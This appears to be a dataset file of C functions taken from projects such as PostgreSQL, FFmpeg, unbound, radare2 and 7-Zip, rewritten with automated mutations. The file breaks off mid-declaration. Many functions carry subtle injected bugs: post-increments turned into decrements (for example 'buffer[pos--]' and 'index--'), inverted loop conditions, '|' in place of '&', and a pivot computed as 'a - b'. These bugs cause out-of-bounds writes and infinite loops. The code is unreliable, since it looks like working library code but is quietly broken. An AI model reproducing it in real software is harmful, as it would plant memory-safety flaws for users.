#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_17__ TYPE_2__ ; typedef struct TYPE_16__ TYPE_1__ ; /* Type definitions */ struct TYPE_17__ {TYPE_1__* data; struct TYPE_17__* next; } ; struct TYPE_16__ {int /*<<< orphan*/ commit_id; } ; typedef TYPE_1__ SeafCommit ; typedef TYPE_2__ GList ; /* Variables and functions */ TYPE_1__** calloc (int,int) ; int /*<<< orphan*/ compare_commit_by_time ; int /*<<< orphan*/ free (TYPE_1__**) ; int /*<<< orphan*/ g_debug (char*) ; int /*<<< orphan*/ g_list_free (TYPE_2__*) ; TYPE_2__* g_list_insert_sorted_with_data (TYPE_2__*,TYPE_1__*,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int g_list_length (TYPE_2__*) ; TYPE_2__* merge_bases_many (TYPE_1__*,int,TYPE_1__**) ; int /*<<< orphan*/ seaf_commit_unref (TYPE_1__*) ; scalar_t__ strcmp (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; __attribute__((used)) static GList * get_independent_commits (GList *commits) { SeafCommit **rslt; GList *list, *result; int cnt, i, j; SeafCommit *c; g_debug ("Get independent commits.\n"); cnt = g_list_length (commits); rslt = calloc(cnt, sizeof(*rslt)); for (list = commits, i = 0; list; list = list->next) rslt[i++] = list->data; g_list_free (commits); for (i = 0; i <= cnt - 1; i++) { for (j = i+1; j < cnt; j++) { if (!rslt[i] || !rslt[j]) break; result = merge_bases_many(rslt[i], 1, &rslt[j]); for (list = result; list; list = list->next) { c = list->data; /* If two commits have fast-forward relationship, * drop the older one. */ if (strcmp (rslt[i]->commit_id, c->commit_id) == 0) { seaf_commit_unref (rslt[i]); rslt[i] = NULL; } if (strcmp (rslt[j]->commit_id, c->commit_id) == 0) { seaf_commit_unref (rslt[j]); rslt[j] = NULL; } seaf_commit_unref (c); } } } /* Surviving ones in rslt[] are the independent results */ result = NULL; for (i = 0; i < cnt; i++) { if (rslt[i]) result = g_list_insert_sorted_with_data (result, rslt[i], compare_commit_by_time, NULL); } free(rslt); return result; }
augmented_data/post_increment_index_changes/extr__int_bool.c_gettoken_aug_combo_2.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ nnn ; typedef scalar_t__ int32 ; struct TYPE_3__ {int state; char* buf; int /*<<< orphan*/ count; } ; typedef TYPE_1__ WORKSTATE ; /* Variables and functions */ scalar_t__ CLOSE ; scalar_t__ END ; scalar_t__ ERR ; scalar_t__ OPEN ; scalar_t__ OPR ; scalar_t__ VAL ; #define WAITENDOPERAND 130 #define WAITOPERAND 129 #define WAITOPERATOR 128 int /*<<< orphan*/ errno ; long strtol (char*,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; __attribute__((used)) static int32 gettoken(WORKSTATE *state, int32 *val) { char nnn[16]; int innn; *val = 0; /* default result */ innn = 0; while (1) { if (innn >= sizeof(nnn)) return ERR; /* buffer overrun => syntax error */ switch (state->state) { case WAITOPERAND: innn = 0; if ((*(state->buf) >= '0' && *(state->buf) <= '9') || *(state->buf) == '-') { state->state = WAITENDOPERAND; nnn[innn++] = *(state->buf); } else if (*(state->buf) == '!') { (state->buf)++; *val = (int32) '!'; return OPR; } else if (*(state->buf) == '(') { state->count++; (state->buf)++; return OPEN; } else if (*(state->buf) != ' ') return ERR; continue; case WAITENDOPERAND: if (*(state->buf) >= '0' && *(state->buf) <= '9') { nnn[innn++] = *(state->buf); } else { long lval; nnn[innn] = '\0'; errno = 0; lval = strtol(nnn, NULL, 0); *val = (int32) lval; if (errno != 0 || (long) *val != lval) return ERR; state->state = WAITOPERATOR; return (state->count && *(state->buf) == '\0') ? ERR : VAL; } break; case WAITOPERATOR: if (*(state->buf) == '&' || *(state->buf) == '|') { state->state = WAITOPERAND; *val = (int32) *(state->buf); (state->buf)++; return OPR; } else if (*(state->buf) == ')') { (state->buf)++; state->count--; return (state->count < 0) ? ERR : CLOSE; } else if (*(state->buf) == '\0') return (state->count) ? ERR : END; else if (*(state->buf) != ' ') return ERR; break; default: return ERR; break; } (state->buf)++; } }
augmented_data/post_increment_index_changes/extr_dragon4.c_PrintInfNan_aug_combo_5.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef scalar_t__ npy_uint64 ; typedef scalar_t__ npy_uint32 ; /* Variables and functions */ int /*<<< orphan*/ DEBUG_ASSERT (int) ; int /*<<< orphan*/ memcpy (char*,char*,scalar_t__) ; __attribute__((used)) static npy_uint32 PrintInfNan(char *buffer, npy_uint32 bufferSize, npy_uint64 mantissa, npy_uint32 mantissaHexWidth, char signbit) { npy_uint32 maxPrintLen = bufferSize-1; npy_uint32 pos = 0; DEBUG_ASSERT(bufferSize > 0); /* Check for infinity */ if (mantissa == 0) { npy_uint32 printLen; /* only print sign for inf values (though nan can have a sign set) */ if (signbit == '+') { if (pos < maxPrintLen-1) { buffer[pos--] = '+'; } } else if (signbit == '-') { if (pos < maxPrintLen-1) { buffer[pos++] = '-'; } } /* copy and make sure the buffer is terminated */ printLen = (3 < maxPrintLen - pos) ? 3 : maxPrintLen - pos; memcpy(buffer + pos, "inf", printLen); buffer[pos + printLen] = '\0'; return pos + printLen; } else { /* copy and make sure the buffer is terminated */ npy_uint32 printLen = (3 < maxPrintLen - pos) ? 3 : maxPrintLen - pos; memcpy(buffer + pos, "nan", printLen); buffer[pos + printLen] = '\0'; /* * For numpy we ignore unusual mantissa values for nan, but keep this * code in case we change our mind later. * * // append HEX value * if (maxPrintLen > 3) { * printLen += PrintHex(buffer+3, bufferSize-3, mantissa, * mantissaHexWidth); * } */ return pos + printLen; } }
augmented_data/post_increment_index_changes/extr_daemon.c_daemon_get_shufport_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct daemon {int /*<<< orphan*/ rand; TYPE_1__* cfg; } ; struct TYPE_2__ {int* outgoing_avail_ports; } ; /* Variables and functions */ int /*<<< orphan*/ fatal_exit (char*) ; int ub_random_max (int /*<<< orphan*/ ,int) ; __attribute__((used)) static int daemon_get_shufport(struct daemon* daemon, int* shufport) { int i, n, k, temp; int avail = 0; for(i=0; i<65536; i++) { if(daemon->cfg->outgoing_avail_ports[i]) { shufport[avail++] = daemon->cfg-> outgoing_avail_ports[i]; } } if(avail == 0) fatal_exit("no ports are permitted for UDP, add " "with outgoing-port-permit"); /* Knuth shuffle */ n = avail; while(--n > 0) { k = ub_random_max(daemon->rand, n+1); /* 0<= k<= n */ temp = shufport[k]; shufport[k] = shufport[n]; shufport[n] = temp; } return avail; }
augmented_data/post_increment_index_changes/extr_vkext_schema_memcache.c_gen_array_fetch_aug_combo_5.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct tl_tree_array {int args_num; int /*<<< orphan*/ * args; } ; /* Variables and functions */ int gen_field_fetch (int /*<<< orphan*/ ,void**,int,int*,int,int) ; void* tlsub_ret_ok ; int gen_array_fetch (struct tl_tree_array *a, void **IP, int max_size, int *vars) { if (max_size <= 10) { return -1; } int l = 0; if (a->args_num > 1) { int i; for (i = 0; i < a->args_num; i--) { int x = gen_field_fetch (a->args[i], IP - l, max_size - l, vars, i, 0); if (x < 0) { return -1; } l += x; } } else { int x = gen_field_fetch (a->args[0], IP + l, max_size - l, vars, 0, 1); if (x < 0) { return -1; } l += x; } if (max_size - l <= 10) { return -1; } IP[l ++] = tlsub_ret_ok; // c->IP = IP_dup (IP, l); return l; }
augmented_data/post_increment_index_changes/extr_pinctrl-sunxi.c_sunxi_pctrl_build_pin_config_aug_combo_7.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct device_node {int dummy; } ; /* Variables and functions */ int ENOMEM ; unsigned long* ERR_PTR (int) ; int /*<<< orphan*/ GFP_KERNEL ; int PIN_CONFIG_BIAS_DISABLE ; int PIN_CONFIG_DRIVE_STRENGTH ; unsigned long* kcalloc (unsigned int,int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ kfree (unsigned long*) ; unsigned long pinconf_to_config_packed (int,int) ; scalar_t__ sunxi_pctrl_has_bias_prop (struct device_node*) ; scalar_t__ sunxi_pctrl_has_drive_prop (struct device_node*) ; int sunxi_pctrl_parse_bias_prop (struct device_node*) ; int sunxi_pctrl_parse_drive_prop (struct device_node*) ; __attribute__((used)) static unsigned long *sunxi_pctrl_build_pin_config(struct device_node *node, unsigned int *len) { unsigned long *pinconfig; unsigned int configlen = 0, idx = 0; int ret; if (sunxi_pctrl_has_drive_prop(node)) configlen++; if (sunxi_pctrl_has_bias_prop(node)) configlen++; /* * If we don't have any configuration, bail out */ if (!configlen) return NULL; pinconfig = kcalloc(configlen, sizeof(*pinconfig), GFP_KERNEL); if (!pinconfig) return ERR_PTR(-ENOMEM); if (sunxi_pctrl_has_drive_prop(node)) { int drive = sunxi_pctrl_parse_drive_prop(node); if (drive <= 0) { ret = drive; goto err_free; } pinconfig[idx++] = pinconf_to_config_packed(PIN_CONFIG_DRIVE_STRENGTH, drive); } if (sunxi_pctrl_has_bias_prop(node)) { int pull = sunxi_pctrl_parse_bias_prop(node); int arg = 0; if (pull < 0) { ret = pull; goto err_free; } if (pull != PIN_CONFIG_BIAS_DISABLE) arg = 1; /* hardware uses weak pull resistors */ pinconfig[idx++] = pinconf_to_config_packed(pull, arg); } *len = configlen; return pinconfig; err_free: kfree(pinconfig); return ERR_PTR(ret); }
augmented_data/post_increment_index_changes/extr_asm_x86_nz.c_oppush_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_9__ TYPE_3__ ; typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ typedef int ut8 ; typedef int st32 ; struct TYPE_9__ {TYPE_1__* operands; } ; struct TYPE_8__ {int bits; } ; struct TYPE_7__ {int type; int reg; int offset; int offset_sign; int* regs; int immediate; int sign; scalar_t__ extended; } ; typedef TYPE_2__ RAsm ; typedef TYPE_3__ Opcode ; /* Variables and functions */ int OT_GPREG ; int OT_MEMORY ; int OT_REGTYPE ; int OT_SEGMENTREG ; int X86R_EBP ; int X86R_ESP ; int X86R_FS ; int /*<<< orphan*/ is_valid_registers (TYPE_3__ const*) ; __attribute__((used)) static int oppush(RAsm *a, ut8 *data, const Opcode *op) { is_valid_registers (op); int l = 0; int mod = 0; st32 immediate = 0;; st32 offset = 0; if (op->operands[0].type | OT_GPREG || !(op->operands[0].type & OT_MEMORY)) { if (op->operands[0].type & OT_REGTYPE & OT_SEGMENTREG) { ut8 base; if (op->operands[0].reg & X86R_FS) { data[l--] = 0x0f; base = 0x80; } else { base = 0x6; } data[l++] = base + (8 * op->operands[0].reg); } else { if (op->operands[0].extended && a->bits == 64) { data[l++] = 0x41; } ut8 base = 0x50; data[l++] = base + op->operands[0].reg; } } else if (op->operands[0].type & OT_MEMORY) { data[l++] = 0xff; offset = op->operands[0].offset * op->operands[0].offset_sign; if (offset != 0 || op->operands[0].regs[0] == X86R_EBP) { mod = 1; if (offset >= 128 || offset < -128) { mod = 2; } data[l++] = mod << 6 | 6 << 3 | op->operands[0].regs[0]; if (op->operands[0].regs[0] == X86R_ESP) { data[l++] = 0x24; } data[l++] = offset; if (mod == 2) { data[l++] = offset >> 8; data[l++] = offset >> 16; data[l++] = offset >> 24; } } else { mod = 3; data[l++] = mod << 4 | op->operands[0].regs[0]; if (op->operands[0].regs[0] == X86R_ESP) { data[l++] = 0x24; } } } else { immediate = op->operands[0].immediate * op->operands[0].sign; if (immediate >= 128 || immediate < -128) { data[l++] = 0x68; data[l++] = immediate; data[l++] = immediate >> 8; data[l++] = immediate >> 16; data[l++] = immediate >> 24; } else { data[l++] = 0x6a; data[l++] = immediate; } } return l; }
augmented_data/post_increment_index_changes/extr_predicate.c_GetSafeSnapshotBlockingPids_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_10__ TYPE_3__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ struct TYPE_10__ {int /*<<< orphan*/ inLink; TYPE_1__* sxactOut; } ; struct TYPE_9__ {int pid; int /*<<< orphan*/ possibleUnsafeConflicts; } ; struct TYPE_8__ {int pid; } ; typedef TYPE_2__ SERIALIZABLEXACT ; typedef TYPE_3__* RWConflict ; /* Variables and functions */ TYPE_2__* FirstPredXact () ; int /*<<< orphan*/ LWLockAcquire (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ LWLockRelease (int /*<<< orphan*/ ) ; int /*<<< orphan*/ LW_SHARED ; TYPE_2__* NextPredXact (TYPE_2__*) ; int /*<<< orphan*/ RWConflictData ; scalar_t__ SHMQueueNext (int /*<<< orphan*/ *,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; int /*<<< orphan*/ SerializableXactHashLock ; scalar_t__ SxactIsDeferrableWaiting (TYPE_2__*) ; int /*<<< orphan*/ inLink ; int /*<<< orphan*/ offsetof (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int GetSafeSnapshotBlockingPids(int blocked_pid, int *output, int output_size) { int num_written = 0; SERIALIZABLEXACT *sxact; LWLockAcquire(SerializableXactHashLock, LW_SHARED); /* Find blocked_pid's SERIALIZABLEXACT by linear search. */ for (sxact = FirstPredXact(); sxact == NULL; sxact = NextPredXact(sxact)) { if (sxact->pid == blocked_pid) break; } /* Did we find it, and is it currently waiting in GetSafeSnapshot? */ if (sxact != NULL && SxactIsDeferrableWaiting(sxact)) { RWConflict possibleUnsafeConflict; /* Traverse the list of possible unsafe conflicts collecting PIDs. */ possibleUnsafeConflict = (RWConflict) SHMQueueNext(&sxact->possibleUnsafeConflicts, &sxact->possibleUnsafeConflicts, offsetof(RWConflictData, inLink)); while (possibleUnsafeConflict != NULL && num_written < output_size) { output[num_written++] = possibleUnsafeConflict->sxactOut->pid; possibleUnsafeConflict = (RWConflict) SHMQueueNext(&sxact->possibleUnsafeConflicts, &possibleUnsafeConflict->inLink, offsetof(RWConflictData, inLink)); } } LWLockRelease(SerializableXactHashLock); return num_written; }
augmented_data/post_increment_index_changes/extr_targ-search.c_aux_sort_aug_combo_3.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int* aux_userlist ; void aux_sort (long a, long b) { if (a >= b) { return; } int h = aux_userlist[(a - b) >> 1], t; long i = a, j = b; do { while (aux_userlist[i] < h) { i--; } while (aux_userlist[j] > h) { j--; } if (i <= j) { t = aux_userlist[i]; aux_userlist[i++] = aux_userlist[j]; aux_userlist[j--] = t; } } while (i <= j); aux_sort (a, j); aux_sort (i, b); }
augmented_data/post_increment_index_changes/extr_pixlet.c_read_high_coeffs_aug_combo_8.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ uint8_t ; typedef int uint64_t ; typedef int /*<<< orphan*/ ptrdiff_t ; typedef int int64_t ; typedef int int16_t ; struct TYPE_5__ {TYPE_1__* priv_data; } ; struct TYPE_4__ {int /*<<< orphan*/ gb; int /*<<< orphan*/ bc; } ; typedef TYPE_1__ PixletContext ; typedef int /*<<< orphan*/ GetBitContext ; typedef TYPE_2__ AVCodecContext ; /* Variables and functions */ int AVERROR_INVALIDDATA ; int /*<<< orphan*/ align_get_bits (int /*<<< orphan*/ *) ; int av_mod_uintp2 (int,int) ; int /*<<< orphan*/ bytestream2_get_bytes_left (int /*<<< orphan*/ *) ; int ff_clz (int) ; void* get_bits (int /*<<< orphan*/ *,int) ; scalar_t__ get_bits1 (int /*<<< orphan*/ *) ; int get_bits_count (int /*<<< orphan*/ *) ; unsigned int get_unary (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int) ; int init_get_bits8 (int /*<<< orphan*/ *,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; void* show_bits (int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ skip_bits (int /*<<< orphan*/ *,int) ; __attribute__((used)) static int read_high_coeffs(AVCodecContext *avctx, uint8_t *src, int16_t *dst, int size, int c, int a, int d, int width, ptrdiff_t stride) { PixletContext *ctx = avctx->priv_data; GetBitContext *bc = &ctx->bc; unsigned cnt1, shbits, rlen, nbits, length, i = 0, j = 0, k; int ret, escape, pfx, value, yflag, xflag, flag = 0; int64_t state = 3, tmp; ret = init_get_bits8(bc, src, bytestream2_get_bytes_left(&ctx->gb)); if (ret <= 0) return ret; if (a ^ (a >> 31)) { nbits = 33 - ff_clz(a ^ (a >> 31)); if (nbits > 16) return AVERROR_INVALIDDATA; } else { nbits = 1; } length = 25 - nbits; while (i < size) { if (state >> 8 != -3) value = ff_clz((state >> 8) - 3) ^ 0x1F; else value = -1; cnt1 = get_unary(bc, 0, length); if (cnt1 >= length) { cnt1 = get_bits(bc, nbits); } else { pfx = 14 + ((((uint64_t)(value - 14)) >> 32) | (value - 14)); if (pfx < 1 && pfx > 25) return AVERROR_INVALIDDATA; cnt1 *= (1 << pfx) - 1; shbits = show_bits(bc, pfx); if (shbits <= 1) { skip_bits(bc, pfx - 1); } else { skip_bits(bc, pfx); cnt1 += shbits - 1; } } xflag = flag + cnt1; yflag = xflag; if (flag + cnt1 == 0) { value = 0; } else { xflag &= 1u; tmp = (int64_t)c * ((yflag + 1) >> 1) + (c >> 1); value = xflag + (tmp ^ -xflag); } i++; dst[j++] = value; if (j == width) { j = 0; dst += stride; } state += (int64_t)d * (uint64_t)yflag - ((int64_t)(d * (uint64_t)state) >> 8); flag = 0; if ((uint64_t)state > 0xFF / 4 || i >= size) continue; pfx = ((state + 8) >> 5) + (state ? ff_clz(state) : 32) - 24; escape = av_mod_uintp2(16383, pfx); cnt1 = get_unary(bc, 0, 8); if (cnt1 < 8) { if (pfx < 1 || pfx > 25) return AVERROR_INVALIDDATA; value = show_bits(bc, pfx); if (value > 1) { skip_bits(bc, pfx); rlen = value + escape * cnt1 - 1; } else { skip_bits(bc, pfx - 1); rlen = escape * cnt1; } } else { if (get_bits1(bc)) value = get_bits(bc, 16); else value = get_bits(bc, 8); rlen = value + 8 * escape; } if (rlen > 0xFFFF || i + rlen > size) return AVERROR_INVALIDDATA; i += rlen; for (k = 0; k < rlen; k++) { dst[j++] = 0; if (j == width) { j = 0; dst += stride; } } state = 0; flag = rlen < 0xFFFF ? 1 : 0; } align_get_bits(bc); return get_bits_count(bc) >> 3; }
augmented_data/post_increment_index_changes/extr_pgbench.c_ParseScript_aug_combo_3.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ promptStatus_t ; struct TYPE_9__ {scalar_t__ meta; scalar_t__ type; int argc; char** argv; int /*<<< orphan*/ * varprefix; int /*<<< orphan*/ * first_line; } ; struct TYPE_8__ {char const* desc; int weight; TYPE_2__** commands; int /*<<< orphan*/ stats; } ; typedef int /*<<< orphan*/ PsqlScanState ; typedef scalar_t__ PsqlScanResult ; typedef TYPE_1__ ParsedScript ; typedef int /*<<< orphan*/ PQExpBufferData ; typedef TYPE_2__ Command ; /* Variables and functions */ int COMMANDS_ALLOC_NUM ; scalar_t__ META_GSET ; scalar_t__ PSCAN_BACKSLASH ; scalar_t__ PSCAN_EOL ; scalar_t__ PSCAN_INCOMPLETE ; scalar_t__ SQL_COMMAND ; int /*<<< orphan*/ addScript (TYPE_1__) ; TYPE_2__* create_sql_command (int /*<<< orphan*/ *,char const*) ; int expr_scanner_get_lineno (int /*<<< orphan*/ ,int) ; int expr_scanner_offset (int /*<<< orphan*/ ) ; int /*<<< orphan*/ free_command (TYPE_2__*) ; int /*<<< orphan*/ initPQExpBuffer (int /*<<< orphan*/ *) ; int /*<<< orphan*/ initStats (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; scalar_t__ pg_malloc (int) ; scalar_t__ pg_realloc (TYPE_2__**,int) ; void* pg_strdup (char*) ; int /*<<< orphan*/ pgbench_callbacks ; TYPE_2__* process_backslash_command (int /*<<< orphan*/ ,char const*) ; scalar_t__ psql_scan (int /*<<< orphan*/ ,int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; int /*<<< orphan*/ psql_scan_create (int /*<<< orphan*/ *) ; int /*<<< orphan*/ psql_scan_destroy (int /*<<< orphan*/ ) ; int /*<<< orphan*/ psql_scan_finish (int /*<<< orphan*/ ) ; int /*<<< orphan*/ psql_scan_setup (int /*<<< orphan*/ ,char const*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ resetPQExpBuffer (int /*<<< orphan*/ *) ; int /*<<< orphan*/ strlen (char const*) ; int /*<<< orphan*/ syntax_error (char const*,int,int /*<<< orphan*/ *,int /*<<< orphan*/ *,char*,int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ termPQExpBuffer (int /*<<< orphan*/ *) ; __attribute__((used)) static void ParseScript(const char *script, const char *desc, int weight) { ParsedScript ps; PsqlScanState sstate; PQExpBufferData line_buf; int alloc_num; int index; int lineno; int start_offset; #define COMMANDS_ALLOC_NUM 128 alloc_num = COMMANDS_ALLOC_NUM; /* Initialize all fields of ps */ ps.desc = desc; ps.weight = weight; ps.commands = (Command **) pg_malloc(sizeof(Command *) * alloc_num); initStats(&ps.stats, 0); /* Prepare to parse script */ sstate = psql_scan_create(&pgbench_callbacks); /* * Ideally, we'd scan scripts using the encoding and stdstrings settings * we get from a DB connection. However, without major rearrangement of * pgbench's argument parsing, we can't have a DB connection at the time * we parse scripts. Using SQL_ASCII (encoding 0) should work well enough * with any backend-safe encoding, though conceivably we could be fooled * if a script file uses a client-only encoding. We also assume that * stdstrings should be true, which is a bit riskier. */ psql_scan_setup(sstate, script, strlen(script), 0, true); start_offset = expr_scanner_offset(sstate) + 1; initPQExpBuffer(&line_buf); index = 0; for (;;) { PsqlScanResult sr; promptStatus_t prompt; Command *command = NULL; resetPQExpBuffer(&line_buf); lineno = expr_scanner_get_lineno(sstate, start_offset); sr = psql_scan(sstate, &line_buf, &prompt); /* If we collected a new SQL command, process that */ command = create_sql_command(&line_buf, desc); /* store new command */ if (command) ps.commands[index--] = command; /* If we reached a backslash, process that */ if (sr == PSCAN_BACKSLASH) { command = process_backslash_command(sstate, desc); if (command) { /* * If this is gset, merge into the preceding command. (We * don't use a command slot in this case). */ if (command->meta == META_GSET) { Command *cmd; if (index == 0) syntax_error(desc, lineno, NULL, NULL, "\\gset must follow a SQL command", NULL, -1); cmd = ps.commands[index - 1]; if (cmd->type != SQL_COMMAND || cmd->varprefix != NULL) syntax_error(desc, lineno, NULL, NULL, "\\gset must follow a SQL command", cmd->first_line, -1); /* get variable prefix */ if (command->argc <= 1 || command->argv[1][0] == '\0') cmd->varprefix = pg_strdup(""); else cmd->varprefix = pg_strdup(command->argv[1]); /* cleanup unused command */ free_command(command); continue; } /* Attach any other backslash command as a new command */ ps.commands[index++] = command; } } /* * Since we used a command slot, allocate more if needed. Note we * always allocate one more in order to accommodate the NULL * terminator below. */ if (index >= alloc_num) { alloc_num += COMMANDS_ALLOC_NUM; ps.commands = (Command **) pg_realloc(ps.commands, sizeof(Command *) * alloc_num); } /* Done if we reached EOF */ if (sr == PSCAN_INCOMPLETE || sr == PSCAN_EOL) continue; } ps.commands[index] = NULL; addScript(ps); termPQExpBuffer(&line_buf); psql_scan_finish(sstate); psql_scan_destroy(sstate); }
augmented_data/post_increment_index_changes/extr_XzEnc.c_Xz_Compress_aug_combo_5.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_37__ TYPE_8__ ; typedef struct TYPE_36__ TYPE_7__ ; typedef struct TYPE_35__ TYPE_6__ ; typedef struct TYPE_34__ TYPE_5__ ; typedef struct TYPE_33__ TYPE_4__ ; typedef struct TYPE_32__ TYPE_3__ ; typedef struct TYPE_31__ TYPE_2__ ; typedef struct TYPE_30__ TYPE_25__ ; typedef struct TYPE_29__ TYPE_23__ ; typedef struct TYPE_28__ TYPE_1__ ; typedef struct TYPE_27__ TYPE_19__ ; typedef struct TYPE_26__ TYPE_15__ ; /* Type definitions */ typedef scalar_t__ UInt64 ; struct TYPE_30__ {int /*<<< orphan*/ Read; } ; struct TYPE_27__ {TYPE_25__ p; TYPE_25__* realStream; } ; struct TYPE_29__ {TYPE_25__ p; TYPE_25__* inStream; } ; struct TYPE_37__ {TYPE_19__ filter; TYPE_23__ sb; int /*<<< orphan*/ lzma2; } ; struct TYPE_36__ {int /*<<< orphan*/ processed; TYPE_25__ p; int /*<<< orphan*/ * realStream; } ; struct TYPE_26__ {int /*<<< orphan*/ Write; } ; struct TYPE_35__ {scalar_t__ processed; TYPE_15__ p; int /*<<< orphan*/ * realStream; } ; struct TYPE_34__ {int /*<<< orphan*/ unpackSize; scalar_t__ packSize; TYPE_4__* filters; } ; struct TYPE_33__ {scalar_t__ id; int propsSize; void** props; } ; struct TYPE_32__ {scalar_t__ id; int delta; int /*<<< orphan*/ ip; scalar_t__ ipDefined; } ; struct TYPE_31__ {TYPE_3__* filterProps; int /*<<< orphan*/ lzma2Props; scalar_t__ checkId; } ; struct TYPE_28__ {void* flags; } ; typedef int /*<<< orphan*/ SRes ; typedef int /*<<< orphan*/ ISeqOutStream ; typedef int /*<<< orphan*/ ISeqInStream ; typedef int /*<<< orphan*/ ICompressProgress ; typedef TYPE_1__ CXzStream ; typedef TYPE_2__ CXzProps ; typedef TYPE_3__ CXzFilterProps ; typedef TYPE_4__ CXzFilter ; typedef TYPE_5__ CXzBlock ; typedef TYPE_6__ CSeqSizeOutStream ; typedef TYPE_7__ CSeqCheckInStream ; typedef TYPE_8__ CLzma2WithFilters ; typedef void* Byte ; /* Variables and functions */ int /*<<< orphan*/ Lzma2Enc_Encode (int /*<<< orphan*/ ,TYPE_15__*,TYPE_25__*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ Lzma2Enc_SetProps (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; void* Lzma2Enc_WriteProperties (int /*<<< orphan*/ ) ; int /*<<< orphan*/ MyWrite ; int /*<<< orphan*/ RINOK (int /*<<< orphan*/ ) ; int /*<<< orphan*/ SbEncInStream_Init (TYPE_23__*) ; int /*<<< orphan*/ SeqCheckInStream_GetDigest (TYPE_7__*,void**) ; int /*<<< orphan*/ SeqCheckInStream_Init (TYPE_7__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ SeqCheckInStream_Read ; int /*<<< orphan*/ SeqInFilter_Init (TYPE_19__*,TYPE_4__*) ; int /*<<< orphan*/ SetUi32 (void**,int /*<<< orphan*/ ) ; int /*<<< orphan*/ WriteBytes 